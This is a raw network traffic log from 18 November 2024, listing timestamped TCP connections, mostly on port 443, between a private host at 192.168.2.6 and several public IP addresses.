Nov 18, 2024 04:41:23.760469913 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.771910906 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.772006989 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.772057056 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.772242069 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.772262096 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.772275925 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.772283077 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.777175903 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.777209044 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.777273893 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.778244019 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.778259993 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.781472921 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.781528950 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.781589985 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.781902075 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.781920910 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.781944036 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.781955004 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.785496950 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.786514997 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.786552906 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.787219048 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.787225962 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.789678097 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.789709091 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.789861917 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.790219069 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.790235043 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.871109009 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.871268034 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.871330976 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.878357887 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.878376961 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.878392935 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.878401041 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.896565914 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.896621943 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.896704912 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.897617102 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.897648096 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.914586067 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.914721966 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.914777040 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.914911985 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.914923906 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.914935112 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.914941072 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.917907000 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.917946100 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.918045998 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.918395996 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.918415070 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.182746887 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:24.183090925 CET	49800	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:24.200824976 CET	49800	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:24.200844049 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:24.201055050 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:24.210267067 CET	49800	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:24.251348019 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:24.450699091 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:24.450773001 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:24.450885057 CET	49800	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:24.508258104 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.516449928 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.518845081 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.563621044 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.563623905 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.564244032 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.627891064 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.657628059 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.673006058 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.714668989 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.917217016 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.917252064 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.917484045 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.917507887 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.917754889 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.917782068 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.919574976 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.919576883 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.919581890 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.919601917 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.919739962 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.919747114 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.919868946 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.919892073 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.919975042 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.919990063 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.920427084 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.920433998 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:24.920679092 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:24.920686007 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.043853045 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.043977022 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.044043064 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.045612097 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.045701027 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.045898914 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.046895027 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.046952009 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.046981096 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.047024012 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.047166109 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.047252893 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.049824953 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.049971104 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.050033092 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.061953068 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.061953068 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.061973095 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.061985016 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.062263012 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.062263012 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.062284946 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.062295914 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.093384981 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.093384981 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.093415022 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.093427896 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.102005959 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.102034092 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.106038094 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.106064081 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.106077909 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.106085062 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.108912945 CET	49800	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:25.108912945 CET	49800	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:25.108933926 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:25.108944893 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:25.232189894 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.232224941 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.232295036 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.297904968 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.297925949 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.311331987 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.311372042 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.311496973 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.311671972 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.311682940 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.314810038 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.314837933 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.314908981 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.320389986 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.320431948 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.320488930 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.321676016 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.321691036 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.323728085 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.323745012 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.325028896 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.325042009 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:25.325120926 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.325258017 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:25.325269938 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.029748917 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.048623085 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.050748110 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.052112103 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.054043055 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.054063082 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.054656982 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.054661036 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.057862043 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.057878971 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.058578968 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.058583975 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.059181929 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.059194088 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.060667992 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.060674906 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.070107937 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.070133924 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.070451021 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.070457935 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.081811905 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.083018064 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.083033085 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.083630085 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.083636999 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.181081057 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.181160927 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.181241035 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.183936119 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.184178114 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.184303999 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.194272995 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.194341898 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.194430113 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.195656061 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.195720911 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.195899963 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.196162939 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.196180105 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.209227085 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.209256887 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.209279060 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.209285021 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.212292910 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.212292910 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.212313890 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.212323904 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.213228941 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.213228941 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.213248968 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.213260889 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.214420080 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.214535952 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.214626074 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.239358902 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.239358902 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:26.239382029 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:26.239392996 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.179142952 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.179177046 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.179330111 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.402702093 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.402755022 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.402821064 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.669092894 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.669106960 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.670339108 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.670377970 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.670440912 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.670623064 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.670639038 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.729587078 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.729609966 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.771490097 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:27.771539927 CET	443	49822	94.245.104.56	192.168.2.6
Nov 18, 2024 04:41:27.771667957 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:27.771867990 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:27.771889925 CET	443	49822	94.245.104.56	192.168.2.6
Nov 18, 2024 04:41:27.788521051 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.788537979 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.788647890 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.853710890 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.853749037 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.853904009 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.859251976 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.859271049 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:27.906380892 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:27.906403065 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.028491020 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:28.028712034 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:28.033438921 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.033565044 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.033617020 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.033646107 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.033770084 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.408202887 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.414992094 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.444464922 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.444483995 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.444899082 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.444904089 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.450659037 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.450690031 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.451368093 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.451375961 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.553416014 CET	80	49783	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:28.553472996 CET	49783	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:28.572743893 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.572947979 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.573054075 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.577075958 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.577075958 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.577097893 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.577107906 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.582308054 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.582552910 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.582602978 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.593734980 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.607846022 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.607846022 CET	49816	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.607882977 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.607897043 CET	443	49816	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.615468979 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.615508080 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.616020918 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.616028070 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.623826981 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.623851061 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.623995066 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.624440908 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.624474049 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.624628067 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.624834061 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.624857903 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.637764931 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.637777090 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.657687902 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.709255934 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.709275007 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.709954977 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.709960938 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.747915983 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.748822927 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.748882055 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.766273975 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.766289949 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.766321898 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.766330957 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.769915104 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.770000935 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.770018101 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.770040989 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:28.770309925 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.770327091 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.770351887 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:28.770589113 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.770633936 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:28.770740986 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.770881891 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.770900011 CET	443	49707	20.190.160.20	192.168.2.6
Nov 18, 2024 04:41:28.770922899 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:28.811258078 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.824870110 CET	49707	443	192.168.2.6	20.190.160.20
Nov 18, 2024 04:41:28.836747885 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.837043047 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.837090969 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.851239920 CET	443	49822	94.245.104.56	192.168.2.6
Nov 18, 2024 04:41:28.870920897 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:28.870953083 CET	443	49822	94.245.104.56	192.168.2.6
Nov 18, 2024 04:41:28.873379946 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.873408079 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.874077082 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.874084949 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.874492884 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.874515057 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.874526024 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:28.874532938 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:28.874718904 CET	443	49822	94.245.104.56	192.168.2.6
Nov 18, 2024 04:41:28.874800920 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:28.891202927 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:28.891422987 CET	443	49822	94.245.104.56	192.168.2.6
Nov 18, 2024 04:41:28.902021885 CET	49822	443	192.168.2.6	94.245.104.56
Nov 18, 2024 04:41:28.902045965 CET	443	49822	94.245.104.56	192.168.2.6
Nov 18, 2024 04:41:28.919083118 CET	49829	443	192.168.2.6	13.107.246.45
